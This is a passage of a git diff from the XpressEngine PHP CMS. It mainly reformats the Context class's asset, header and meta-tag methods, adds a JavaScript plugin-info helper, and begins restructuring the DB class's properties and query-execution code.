'://') === false && $file{0} != '/' && $file{0} != '.') + { + $file = './' . $file; + } $file = preg_replace('@/\./|(?oFrontEndFileHandler->unloadFile($file, $targetIe, $media); } @@ -1494,10 +2031,9 @@ class Context { * @param string $type Unload target (optional - all|css|js) * @return void */ - function unloadAllFiles($type = 'all') { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->oFrontEndFileHandler->unloadAllFiles($type); } @@ -1514,19 +2050,24 @@ class Context { * @param string $autoPath If path not readed, set the path automatically. * @return void */ - function addJsFile($file, $optimized = false, $targetie = '',$index=0, $type='head', $isRuleset = false, $autoPath = null) { + function addJsFile($file, $optimized = false, $targetie = '', $index = 0, $type = 'head', $isRuleset = false, $autoPath = null) + { if($isRuleset) { - if (strpos($file, '#') !== false){ + if(strpos($file, '#') !== false) + { $file = str_replace('#', '', $file); - if (!is_readable($file)) $file = $autoPath; + if(!is_readable($file)) + { + $file = $autoPath; + } } - $validator = new Validator($file); + $validator = new Validator($file); $validator->setCacheDir('files/cache'); $file = $validator->getJsPath(); } - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->oFrontEndFileHandler->loadFile(array($file, $type, $targetie, $index)); } @@ -1539,8 +2080,9 @@ class Context { * @param string $targetie target IE * @return void */ - function unloadJsFile($file, $optimized = false, $targetie = '') { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function unloadJsFile($file, $optimized = false, $targetie = '') + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->oFrontEndFileHandler->unloadFile($file, $targetie); } @@ -1549,8 +2091,9 @@ class Context { * * @return void */ - function unloadAllJsFiles() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function unloadAllJsFiles() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->oFrontEndFileHandler->unloadAllFiles('js'); } @@ -1558,28 +2101,34 @@ class Context { * Add javascript filter * * @param string $path File path - * @param string $filename File name + * @param string $filename File name * @return void */ - function addJsFilter($path, $filename) { + function addJsFilter($path, $filename) + { $oXmlFilter = new XmlJSFilter($path, $filename); $oXmlFilter->compile(); } + /** * Same as array_unique but works only for file subscript * * @deprecated * @param array $files File list * @return array File list - */ - function _getUniqueFileList($files) { + */ + function _getUniqueFileList($files) + { ksort($files); $files = array_values($files); $filenames = array(); $size = count($files); - for($i = 0; $i < $size; ++ $i) + for($i = 0; $i < $size; ++$i) { - if(in_array($files[$i]['file'], $filenames)) unset($files[$i]); + if(in_array($files[$i]['file'], $filenames)) + { + unset($files[$i]); + } $filenames[] = $files[$i]['file']; } @@ -1592,8 +2141,9 @@ class Context { * @param string $type Added position. (head:.., body:..) * @return array Returns javascript file list. Array contains file, targetie. */ - function getJsFile($type='head') { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getJsFile($type = 'head') + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); return $self->oFrontEndFileHandler->getJsFileList($type); } @@ -1609,8 +2159,9 @@ class Context { * @return void * */ - function addCSSFile($file, $optimized=false, $media='all', $targetie='',$index=0) { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function addCSSFile($file, $optimized = false, $media = 'all', $targetie = '', $index = 0) + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->oFrontEndFileHandler->loadFile(array($file, $media, $targetie, $index)); } @@ -1624,8 +2175,9 @@ class Context { * @param string $targetie target IE * @return void */ - function unloadCSSFile($file, $optimized = false, $media = 'all', $targetie = '') { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function unloadCSSFile($file, $optimized = false, $media = 'all', $targetie = '') + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->oFrontEndFileHandler->unloadFile($file, $targetie, $media); } @@ -1634,8 +2186,9 @@ class Context { * * @return void */ - function unloadAllCSSFiles() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function unloadAllCSSFiles() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->oFrontEndFileHandler->unloadAllFiles('css'); } @@ -1644,41 +2197,122 @@ class Context { * * @return array Returns css file list. Array contains file, media, targetie. */ - function getCSSFile() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getCSSFile() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); return $self->oFrontEndFileHandler->getCssFileList(); } + /** + * Returns javascript plugin file info + * @param string $pluginName + * @return stdClass + */ + function getJavascriptPluginInfo($pluginName) + { + if($plugin_name == 'ui.datepicker') + { + $plugin_name = 'ui'; + } + + $plugin_path = './common/js/plugins/' . $pluginName . '/'; + $info_file = $plugin_path . 'plugin.load'; + if(!is_readable($info_file)) + { + return; + } + + $list = file($info_file); + $result = new stdClass(); + $result->jsList = array(); + $result->cssList = array(); + + foreach($list as $filename) + { + $filename = trim($filename); + if(!$filename) + { + continue; + } + + if(substr($filename, 0, 2) == './') + { + $filename = substr($filename, 2); + } + + if(preg_match('/\.js$/i', $filename)) + { + $result->jsList[] = $plugin_path . $filename; + } + elseif(preg_match('/\.css$/i', $filename)) + { + $result->cssList[] = $plugin_path . $filename; + } + } + + if(is_dir($plugin_path . 'lang')) + { + $result->langPath = $plugin_path . 'lang'; + } + + return $result; + } /** * Load javascript plugin * * @param string $plugin_name plugin name * @return void */ - function loadJavascriptPlugin($plugin_name) { + function loadJavascriptPlugin($plugin_name) + { static $loaded_plugins = array(); - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); - if($plugin_name == 'ui.datepicker') $plugin_name = 'ui'; - - if($loaded_plugins[$plugin_name]) return; - $loaded_plugins[$plugin_name] = true; - - $plugin_path = './common/js/plugins/'.$plugin_name.'/'; - $info_file = $plugin_path.'plugin.load'; - if(!is_readable($info_file)) return; - - $list = file($info_file); - foreach($list as $filename) { - $filename = trim($filename); - if(!$filename) continue; - - if(substr($filename,0,2)=='./') $filename = substr($filename,2); - if(preg_match('/\.js$/i', $filename)) $self->loadFile(array($plugin_path.$filename, 'body', '', 0), true); - elseif(preg_match('/\.css$/i', $filename)) $self->loadFile(array($plugin_path.$filename, 'all', '', 0), true); + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); + if($plugin_name == 'ui.datepicker') + { + $plugin_name = 'ui'; } - if(is_dir($plugin_path.'lang')) $self->loadLang($plugin_path.'lang'); + if($loaded_plugins[$plugin_name]) + { + return; + } + $loaded_plugins[$plugin_name] = true; + + $plugin_path = './common/js/plugins/' . $plugin_name . '/'; + $info_file = $plugin_path . 'plugin.load'; + if(!is_readable($info_file)) + { + return; + } + + $list = file($info_file); + foreach($list as $filename) + { + $filename = trim($filename); + if(!$filename) + { + continue; + } + + if(substr($filename, 0, 2) == './') + { + $filename = substr($filename, 2); + } + if(preg_match('/\.js$/i', $filename)) + { + $self->loadFile(array($plugin_path . $filename, 'body', '', 0), true); + } + elseif(preg_match('/\.css$/i', $filename)) + { + $self->loadFile(array($plugin_path . $filename, 'all', '', 0), true); + } + } + + if(is_dir($plugin_path . 'lang')) + { + $self->loadLang($plugin_path . 'lang'); + } } /** @@ -1687,9 +2321,16 @@ class Context { * @param string $header add html code before . * @return void */ - function addHtmlHeader($header) { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); - $self->html_header .= "\n".$header; + function addHtmlHeader($header) + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); + $self->html_header .= "\n" . $header; + } + + function clearHtmlHeader() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); + $self->html_header = ''; } /** @@ -1697,8 +2338,9 @@ class Context { * * @return string Added html code before */ - function getHtmlHeader() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getHtmlHeader() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); return $self->html_header; } @@ -1707,8 +2349,9 @@ class Context { * * @param string $class_name class name */ - function addBodyClass($class_name) { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function addBodyClass($class_name) + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->body_class[] = $class_name; } @@ -1717,11 +2360,12 @@ class Context { * * @return string Return class to html body */ - function getBodyClass() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getBodyClass() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->body_class = array_unique($self->body_class); - return count($self->body_class)?sprintf(' class="%s"', implode(' ',$self->body_class)):''; + return count($self->body_class) ? sprintf(' class="%s"', implode(' ', $self->body_class)) : ''; } /** @@ -1729,9 +2373,10 @@ class Context { * * @param string $header Add html code after */ - function addBodyHeader($header) { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); - $self->body_header .= "\n".$header; + function addBodyHeader($header) + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); + $self->body_header .= "\n" . $header; } /** @@ -1739,8 +2384,9 @@ class Context { * * @return string Added html code after */ - function getBodyHeader() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getBodyHeader() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); return $self->body_header; } @@ -1749,9 +2395,10 @@ class Context { * * @param string $footer Add html code before */ - function addHtmlFooter($footer) { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); - $self->html_footer .= ($self->Htmlfooter?"\n":'').$footer; + function addHtmlFooter($footer) + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); + $self->html_footer .= ($self->Htmlfooter ? "\n" : '') . $footer; } /** @@ -1759,8 +2406,9 @@ class Context { * * @return string Added html code before */ - function getHtmlFooter() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getHtmlFooter() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); return $self->html_footer; } @@ -1769,8 +2417,9 @@ class Context { * * @retrun string The path of the config file that contains database settings */ - function getConfigFile() { - return _XE_PATH_.'files/config/db.config.php'; + function getConfigFile() + { + return _XE_PATH_ . 'files/config/db.config.php'; } /** @@ -1778,8 +2427,9 @@ class Context { * * @return string The path of the config file that contains FTP settings */ - function getFTPConfigFile() { - return _XE_PATH_.'files/config/ftp.config.php'; + function getFTPConfigFile() + { + return _XE_PATH_ . 'files/config/ftp.config.php'; } /** @@ -1787,7 +2437,8 @@ class Context { * * @return bool True if the config file exists, otherwise false. */ - function isInstalled() { + function isInstalled() + { return FileHandler::hasContent(Context::getConfigFile()); } @@ -1797,7 +2448,8 @@ class Context { * @param string Transforms codes * @return string Transforms codes */ - function transContent($content) { + function transContent($content) + { return $content; } @@ -1806,8 +2458,9 @@ class Context { * * @return bool True if it is allowed to use rewrite mod, otherwise false */ - function isAllowRewrite() { - $oContext = &Context::getInstance(); + function isAllowRewrite() + { + $oContext = Context::getInstance(); return $oContext->allow_rewrite; } @@ -1817,35 +2470,54 @@ class Context { * @param string $path URL path * @return string Converted path */ - function pathToUrl($path) { - $xe = _XE_PATH_; + function pathToUrl($path) + { + $xe = _XE_PATH_; $path = strtr($path, "\\", "/"); $base_url = preg_replace('@^https?://[^/]+/?@', '', Context::getRequestUri()); - $_xe = explode('/', $xe); + $_xe = explode('/', $xe); $_path = explode('/', $path); $_base = explode('/', $base_url); - if(!$_base[count($_base)-1]) array_pop($_base); + if(!$_base[count($_base) - 1]) + { + array_pop($_base); + } - foreach($_xe as $idx=>$dir) { - if($_path[0] != $dir) break; + foreach($_xe as $idx => $dir) + { + if($_path[0] != $dir) + { + break; + } array_shift($_path); } $idx = count($_xe) - $idx - 1; - while($idx--) { - if(count($_base)) array_shift($_base); - else array_unshift($_base, '..'); + while($idx--) + { + if(count($_base)) + { + array_shift($_base); + } + else + { + array_unshift($_base, '..'); + } } - if(count($_base)) { + if(count($_base)) + { array_unshift($_path, implode('/', $_base)); } - $path = '/'.implode('/', $_path); - if(substr($path,-1)!='/') $path .= '/'; + $path = '/' . implode('/', $_path); + if(substr($path, -1) != '/') + { + $path .= '/'; + } return $path; } @@ -1853,17 +2525,22 @@ class Context { * Get meta tag * @return array The list of meta tags */ - function getMetaTag() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getMetaTag() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); - if(!is_array($self->meta_tags)) $self->meta_tags = array(); + if(!is_array($self->meta_tags)) + { + $self->meta_tags = array(); + } $ret = array(); $map = &$self->meta_tags; - foreach($map as $key=>$val) { + foreach($map as $key => $val) + { list($name, $is_http_equiv) = explode("\t", $key); - $ret[] = array('name'=>$name, 'is_http_equiv'=>$is_http_equiv, 'content' => $val); + $ret[] = array('name' => $name, 'is_http_equiv' => $is_http_equiv, 'content' => $val); } return $ret; @@ -1877,12 +2554,16 @@ class Context { * @param mixed $is_http_equiv value of http_equiv * @return void */ - function addMetaTag($name, $content, $is_http_equiv = false) { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function addMetaTag($name, $content, $is_http_equiv = false) + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); - $key = $name."\t".($is_http_equiv ? '1' : '0'); + $key = $name . "\t" . ($is_http_equiv ? '1' : '0'); $map = &$self->meta_tags; $map[$key] = $content; } + } +/* End of file Context.class.php */ +/* Location: ./classes/context/Context.class.php */ diff --git a/classes/db/DB.class.php b/classes/db/DB.class.php index d25a3fe11..8ac6079ba 100644 --- a/classes/db/DB.class.php +++ b/classes/db/DB.class.php @@ -1,1063 +1,1426 @@ '=', - 'more' => '>=', - 'excess' => '>', - 'less' => '<=', - 'below' => '<', - 'notequal' => '<>', - 'notnull' => 'is not null', - 'null' => 'is null', - ); - - /** - * master database connection string - * @var array - */ - var $master_db = NULL; - /** - * array of slave databases connection strings - * @var array - */ - var $slave_db = NULL; - - var $result = NULL; - - /** - * error code (0 means no error) - * @var int - */ - var $errno = 0; - /** - * error message - * @var string - */ - var $errstr = ''; - /** - * query string of latest executed query - * @var string - */ - var $query = ''; - var $connection = ''; - /** - * elapsed time of latest executed query - * @var int - */ - var $elapsed_time = 0; - /** - * elapsed time of latest executed DB class - * @var int - */ - var $elapsed_dbclass_time = 0; - - /** - * transaction flag - * @var boolean - */ - var $transaction_started = FALSE; - - var $is_connected = FALSE; - - /** - * returns enable list in supported dbms list - * will be written by classes/DB/DB***.class.php - * @var array - */ - var $supported_list = array(); - - /** - * location of query cache - * @var string - */ - var $cache_file = 'files/cache/queries/'; - - /** - * stores database type: 'mysql','cubrid','mssql' etc. or 'db' when database is not yet set - * @var string - */ - var $db_type; - - /** - * flag to decide if class prepared statements or not (when supported); can be changed from db.config.info - * @var string - */ - var $use_prepared_statements; - - /** - * returns instance of certain db type - * @param string $db_type type of db - * @return DB return DB object instance - */ - function &getInstance($db_type = NULL) { - if(!$db_type) $db_type = Context::getDBType(); - if(!$db_type && Context::isInstalled()) return new Object(-1, 'msg_db_not_setted'); - - if(!isset($GLOBALS['__DB__'])) $GLOBALS['__DB__'] = array(); - if(!isset($GLOBALS['__DB__'][$db_type])) { - $class_name = 'DB'.ucfirst($db_type); - $class_file = _XE_PATH_."classes/db/$class_name.class.php"; - if(!file_exists($class_file)) return new Object(-1, 'msg_db_not_setted'); - - // get a singletone instance of the database driver class - require_once($class_file); - $GLOBALS['__DB__'][$db_type] = call_user_func(array($class_name, 'create')); - $GLOBALS['__DB__'][$db_type]->db_type = $db_type; - } - - return $GLOBALS['__DB__'][$db_type]; - } - - /** - * returns instance of db - * @return DB return DB object instance - */ - function create() { - return new DB; - } - - /** - * constructor - * @return void - */ - function DB() { - $this->count_cache_path = _XE_PATH_.$this->count_cache_path; - $this->cache_file = _XE_PATH_.$this->cache_file; - } - - /** - * returns list of supported dbms list - * this list return by directory list - * check by instance can creatable - * @return array return supported DBMS list - */ - function getSupportedList() { - $oDB = new DB(); - return $oDB->_getSupportedList(); - } - - /** - * returns enable list in supported dbms list - * this list return by child class - * @return array return enable DBMS list in supported dbms list - */ - function getEnableList() - { - if(!$this->supported_list) - { - $oDB = new DB(); - $this->supported_list = $oDB->_getSupportedList(); - } - - $enableList = array(); - if(is_array($this->supported_list)) - { - foreach($this->supported_list AS $key=>$value) - if($value->enable) array_push($enableList, $value); - } - return $enableList; - } - - /** - * returns list of disable in supported dbms list - * this list return by child class - * @return array return disable DBMS list in supported dbms list - */ - function getDisableList() - { - if(!$this->supported_list) - { - $oDB = new DB(); - $this->supported_list = $oDB->_getSupportedList(); - } - - $disableList = array(); - if(is_array($this->supported_list)) - { - foreach($this->supported_list AS $key=>$value) - if(!$value->enable) array_push($disableList, $value); - } - return $disableList; - } - - /** - * returns list of supported dbms list - * this method is private - * @return array return supported DBMS list - */ - function _getSupportedList() { - static $get_supported_list = ''; - if(is_array($get_supported_list)) { - $this->supported_list = $get_supported_list; - return $this->supported_list; - } - $get_supported_list = array(); - $db_classes_path = _XE_PATH_."classes/db/"; - $filter = "/^DB([^\.]+)\.class\.php/i"; - $supported_list = FileHandler::readDir($db_classes_path, $filter, TRUE); - sort($supported_list); - - // after creating instance of class, check is supported - for($i = 0; $i < count($supported_list); $i++) { - $db_type = $supported_list[$i]; - - if(version_compare(phpversion(), '5.0') < 0 && preg_match('/pdo/i',$db_type)) continue; - - $class_name = sprintf("DB%s%s", strtoupper(substr($db_type,0,1)), strtolower(substr($db_type,1))); - $class_file = sprintf(_XE_PATH_."classes/db/%s.class.php", $class_name); - if(!file_exists($class_file)) continue; - - unset($oDB); - require_once($class_file); - $tmp_fn = create_function('', "return new {$class_name}();"); - $oDB = $tmp_fn(); - - if(!$oDB) continue; - - $obj = NULL; - $obj->db_type = $db_type; - $obj->enable = $oDB->isSupported() ? TRUE : FALSE; - - $get_supported_list[] = $obj; - } - $this->supported_list = $get_supported_list; - return $this->supported_list; - } - - /** - * Return dbms supportable status - * The value is set in the child class - * @return boolean true: is supported, false: is not supported - */ - function isSupported() { - return FALSE; - } - - /** - * Return connected status - * @param string $type master or slave - * @param int $indx key of server list - * @return boolean true: connected, false: not connected - */ - function isConnected($type = 'master', $indx = 0) { - if($type == 'master') return $this->master_db["is_connected"] ? TRUE : FALSE; - else return $this->slave_db[$indx]["is_connected"] ? TRUE : FALSE; - } - - /** - * start recording log - * @param string $query query string - * @return void - */ - function actStart($query) { - $this->setError(0, 'success'); - $this->query = $query; - $this->act_start = getMicroTime(); - $this->elapsed_time = 0; - } - - /** - * finish recording log - * @return void - */ - function actFinish() { - if(!$this->query) return; - $this->act_finish = getMicroTime(); - $elapsed_time = $this->act_finish - $this->act_start; - $this->elapsed_time = $elapsed_time; - $GLOBALS['__db_elapsed_time__'] += $elapsed_time; - - $log['query'] = $this->query; - $log['elapsed_time'] = $elapsed_time; - $log['connection'] = $this->connection; - - // leave error log if an error occured (if __DEBUG_DB_OUTPUT__ is defined) - if($this->isError()) { - $site_module_info = Context::get('site_module_info'); - $log['module'] = $site_module_info->module; - $log['act'] = Context::get('act'); - $log['query_id'] = $this->query_id; - $log['time'] = date('Y-m-d H:i:s'); - $log['result'] = 'Failed'; - $log['errno'] = $this->errno; - $log['errstr'] = $this->errstr; - - if(__DEBUG_DB_OUTPUT__ == 1) { - $debug_file = _XE_PATH_."files/_debug_db_query.php"; - $buff = array(); - if(!file_exists($debug_file)) $buff[] = ''; - $buff[] = print_r($log, TRUE); - - if(@!$fp = fopen($debug_file, "a")) return; - fwrite($fp, implode("\n", $buff)."\n\n"); - fclose($fp); - } - } else { - $log['result'] = 'Success'; - } - $GLOBALS['__db_queries__'][] = $log; - - // if __LOG_SLOW_QUERY__ if defined, check elapsed time and leave query log - if(__LOG_SLOW_QUERY__ > 0 && $elapsed_time > __LOG_SLOW_QUERY__) { - $buff = ''; - $log_file = _XE_PATH_.'files/_db_slow_query.php'; - if(!file_exists($log_file)) { - $buff = ''."\n"; - } - - $buff .= sprintf("%s\t%s\n\t%0.6f sec\tquery_id:%s\n\n", date("Y-m-d H:i"), $this->query, $elapsed_time, $this->query_id); - - if($fp = fopen($log_file, 'a')) { - fwrite($fp, $buff); - fclose($fp); - } - } - } - - /** - * set error - * @param int $errno error code - * @param string $errstr error message - * @return void - */ - function setError($errno = 0, $errstr = 'success') { - $this->errno = $errno; - $this->errstr = $errstr; - } - - /** - * Return error status - * @return boolean true: error, false: no error - */ - function isError() { - return $this->errno === 0 ? FALSE : TRUE; - } - - /** - * Returns object of error info - * @return object object of error - */ - function getError() { - $this->errstr = Context::convertEncodingStr($this->errstr); - return new Object($this->errno, $this->errstr); - } - - /** - * Execute Query that result of the query xml file - * This function finds xml file or cache file of $query_id, compiles it and then execute it - * @param string $query_id query id (module.queryname) - * @param array|object $args arguments for query - * @param array $arg_columns column list. if you want get specific colums from executed result, add column list to $arg_columns - * @return object result of query - */ - function executeQuery($query_id, $args = NULL, $arg_columns = NULL) { - static $cache_file = array(); - - if(!$query_id) return new Object(-1, 'msg_invalid_queryid'); - if(!$this->db_type) return; - - $this->actDBClassStart(); - - $this->query_id = $query_id; - - if(!isset($cache_file[$query_id]) || !file_exists($cache_file[$query_id])) { - $id_args = explode('.', $query_id); - if(count($id_args) == 2) { - $target = 'modules'; - $module = $id_args[0]; - $id = $id_args[1]; - } elseif(count($id_args) == 3) { - $target = $id_args[0]; - $typeList = array('addons'=>1, 'widgets'=>1); - if(!isset($typeList[$target])){ - $this->actDBClassFinish(); - return; - } - $module = $id_args[1]; - $id = $id_args[2]; - } - if(!$target || !$module || !$id){ - $this->actDBClassFinish(); - return new Object(-1, 'msg_invalid_queryid'); - } - - $xml_file = sprintf('%s%s/%s/queries/%s.xml', _XE_PATH_, $target, $module, $id); - if(!file_exists($xml_file)){ - $this->actDBClassFinish(); - return new Object(-1, 'msg_invalid_queryid'); - } - - // look for cache file - $cache_file[$query_id] = $this->checkQueryCacheFile($query_id, $xml_file); - } - $result = $this->_executeQuery($cache_file[$query_id], $args, $query_id, $arg_columns); - - $this->actDBClassFinish(); - // execute query - return $result; - } - - - /** - * Look for query cache file - * @param string $query_id query id for finding - * @param string $xml_file original xml query file - * @return string cache file - */ - function checkQueryCacheFile($query_id,$xml_file){ - // first try finding cache file - $cache_file = sprintf('%s%s%s.%s.%s.cache.php', _XE_PATH_, $this->cache_file, $query_id, __ZBXE_VERSION__, $this->db_type); - - if(file_exists($cache_file)) $cache_time = filemtime($cache_file); - else $cache_time = -1; - - // if there is no cache file or is not new, find original xml query file and parse it - if($cache_time < filemtime($xml_file) || $cache_time < filemtime(_XE_PATH_.'classes/db/DB.class.php') || $cache_time < filemtime(_XE_PATH_.'classes/xml/XmlQueryParser.150.class.php')) { - require_once(_XE_PATH_.'classes/xml/XmlQueryParser.150.class.php'); - $oParser = new XmlQueryParser(); - $oParser->parse($query_id, $xml_file, $cache_file); - } - - return $cache_file; - } - - - /** - * Execute query and return the result - * @param string $cache_file cache file of query - * @param array|object $source_args arguments for query - * @param string $query_id query id - * @param array $arg_columns column list. if you want get specific colums from executed result, add column list to $arg_columns - * @return object result of query - */ - function _executeQuery($cache_file, $source_args, $query_id, $arg_columns) { - global $lang; - - if(!file_exists($cache_file)) return new Object(-1, 'msg_invalid_queryid'); - - if($source_args) $args = @clone($source_args); - - $output = include($cache_file); - - if( (is_a($output, 'Object') || is_subclass_of($output, 'Object')) && !$output->toBool()) return $output; - - // execute appropriate query - switch($output->getAction()) { - case 'insert' : - case 'insert-select' : - $this->resetCountCache($output->tables); - $output = $this->_executeInsertAct($output); - break; - case 'update' : - $this->resetCountCache($output->tables); - $output = $this->_executeUpdateAct($output); - break; - case 'delete' : - $this->resetCountCache($output->tables); - $output = $this->_executeDeleteAct($output); - break; - case 'select' : - $arg_columns = is_array($arg_columns)?$arg_columns:array(); - $output->setColumnList($arg_columns); - $connection = $this->_getConnection('slave'); - $output = $this->_executeSelectAct($output, $connection); - break; - } - - if($this->isError()) $output = $this->getError(); - else if(!is_a($output, 'Object') && !is_subclass_of($output, 'Object')) $output = new Object(); - $output->add('_query', $this->query); - $output->add('_elapsed_time', sprintf("%0.5f", $this->elapsed_time)); - - return $output; - } - - - /** - * Returns counter cache data - * @param array|string $tables tables to get data - * @param string $condition condition to get data - * @return int count of cache data - */ - function getCountCache($tables, $condition) { - return FALSE; - if(!$tables) return FALSE; - if(!is_dir($this->count_cache_path)) return FileHandler::makeDir($this->count_cache_path); - - $condition = md5($condition); - - if(!is_array($tables)) $tables_str = $tables; - else $tables_str = implode('.',$tables); - - $cache_path = sprintf('%s/%s%s', $this->count_cache_path, $this->prefix, $tables_str); - if(!is_dir($cache_path)) FileHandler::makeDir($cache_path); - - $cache_filename = sprintf('%s/%s.%s', $cache_path, $tables_str, $condition); - if(!file_exists($cache_filename)) return FALSE; - - $cache_mtime = filemtime($cache_filename); - - if(!is_array($tables)) $tables = array($tables); - foreach($tables as $alias => $table) { - $table_filename = sprintf('%s/cache.%s%s', $this->count_cache_path, $this->prefix, $table) ; - if(!file_exists($table_filename) || filemtime($table_filename) > $cache_mtime) return FALSE; - } - - $count = (int)FileHandler::readFile($cache_filename); - return $count; - } - - /** - * Save counter cache data - * @param array|string $tables tables to save data - * @param string $condition condition to save data - * @param int $count count of cache data to save - * @return void - */ - function putCountCache($tables, $condition, $count = 0) { - return FALSE; - if(!$tables) return FALSE; - if(!is_dir($this->count_cache_path)) return FileHandler::makeDir($this->count_cache_path); - - $condition = md5($condition); - - if(!is_array($tables)) $tables_str = $tables; - else $tables_str = implode('.',$tables); - - $cache_path = sprintf('%s/%s%s', $this->count_cache_path, $this->prefix, $tables_str); - if(!is_dir($cache_path)) FileHandler::makeDir($cache_path); - - $cache_filename = sprintf('%s/%s.%s', $cache_path, $tables_str, $condition); - - FileHandler::writeFile($cache_filename, $count); - } - - /** - * Reset counter cache data - * @param array|string $tables tables to reset cache data - * @return boolean true: success, false: failed - */ - function resetCountCache($tables) { - return FALSE; - if(!$tables) return FALSE; - if(!is_dir($this->count_cache_path)) return FileHandler::makeDir($this->count_cache_path); - - if(!is_array($tables)) $tables = array($tables); - foreach($tables as $alias => $table) { - $filename = sprintf('%s/cache.%s%s', $this->count_cache_path, $this->prefix, $table); - FileHandler::removeFile($filename); - FileHandler::writeFile($filename, ''); - } - - return TRUE; - } - - /** - * Returns supported database list - * @return array list of supported database - */ - function getSupportedDatabase(){ - $result = array(); - - if(function_exists('mysql_connect')) $result[] = 'MySQL'; - if(function_exists('cubrid_connect')) $result[] = 'Cubrid'; - if(function_exists('ibase_connect')) $result[] = 'FireBird'; - if(function_exists('pg_connect')) $result[] = 'Postgre'; - if(function_exists('sqlite_open')) $result[] = 'sqlite2'; - if(function_exists('mssql_connect')) $result[] = 'MSSQL'; - if(function_exists('PDO')) $result[] = 'sqlite3(PDO)'; - - return $result; - } - - /** - * Drop tables - * @param string $table_name - * @return void - */ - function dropTable($table_name){ - if(!$table_name) return; - $query = sprintf("drop table %s%s", $this->prefix, $table_name); - $this->_query($query); - } - - /** - * Return select query string - * @param object $query - * @param boolean $with_values - * @return string - */ - function getSelectSql($query, $with_values = TRUE){ - $select = $query->getSelectString($with_values); - if($select == '') return new Object(-1, "Invalid query"); - $select = 'SELECT ' .$select; - - $from = $query->getFromString($with_values); - if($from == '') return new Object(-1, "Invalid query"); - $from = ' FROM '.$from; - - $where = $query->getWhereString($with_values); - if($where != '') $where = ' WHERE ' . $where; - - $tableObjects = $query->getTables(); - $index_hint_list = ''; - foreach($tableObjects as $tableObject){ - if(is_a($tableObject, 'CubridTableWithHint')) - $index_hint_list .= $tableObject->getIndexHintString() . ', '; - } - $index_hint_list = substr($index_hint_list, 0, -2); - if($index_hint_list != '') - $index_hint_list = 'USING INDEX ' . $index_hint_list; - - $groupBy = $query->getGroupByString(); - if($groupBy != '') $groupBy = ' GROUP BY ' . $groupBy; - - $orderBy = $query->getOrderByString(); - if($orderBy != '') $orderBy = ' ORDER BY ' . $orderBy; - - $limit = $query->getLimitString(); - if($limit != '') $limit = ' LIMIT ' . $limit; - - return $select . ' ' . $from . ' ' . $where . ' ' . $index_hint_list . ' ' . $groupBy . ' ' . $orderBy . ' ' . $limit; - } - - /** - * Given a SELECT statement that uses click count - * returns the corresponding update sql string - * for databases that don't have click count support built in - * (aka all besides CUBRID) - * - * Function does not check if click count columns exist! - * You must call $query->usesClickCount() before using this function - * - * @param $queryObject - */ - function getClickCountQuery($queryObject) + var $priority_dbms = array( + 'mysqli' => 5, + 'mysql' => 4, + 'mysql_innodb' => 3, + 'cubrid' => 2, + 'mssql' => 1 + ); + + /** + * count cache path + * @var string + */ + var $count_cache_path = 'files/cache/db'; + + /** + * operations for condition + * @var array + */ + var $cond_operation = array( + 'equal' => '=', + 'more' => '>=', + 'excess' => '>', + 'less' => '<=', + 'below' => '<', + 'notequal' => '<>', + 'notnull' => 'is not null', + 'null' => 'is null', + ); + + /** + * master database connection string + * @var array + */ + var $master_db = NULL; + + /** + * array of slave databases connection strings + * @var array + */ + var $slave_db = NULL; + var $result = NULL; + + /** + * error code (0 means no error) + * @var int + */ + var $errno = 0; + + /** + * error message + * @var string + */ + var $errstr = ''; + + /** + * query string of latest executed query + * @var string + */ + var $query = ''; + var $connection = ''; + + /** + * elapsed time of latest executed query + * @var int + */ + var $elapsed_time = 0; + + /** + * elapsed time of latest executed DB class + * @var int + */ + var $elapsed_dbclass_time = 0; + + /** + * transaction flag + * @var boolean + */ + var $transaction_started = FALSE; + var $is_connected = FALSE; + + /** + * returns enable list in supported dbms list + * will be written by classes/DB/DB***.class.php + * @var array + */ + var $supported_list = array(); + + /** + * location of query cache + * @var string + */ + var $cache_file = 'files/cache/queries/'; + + /** + * stores database type: 'mysql','cubrid','mssql' etc. or 'db' when database is not yet set + * @var string + */ + var $db_type; 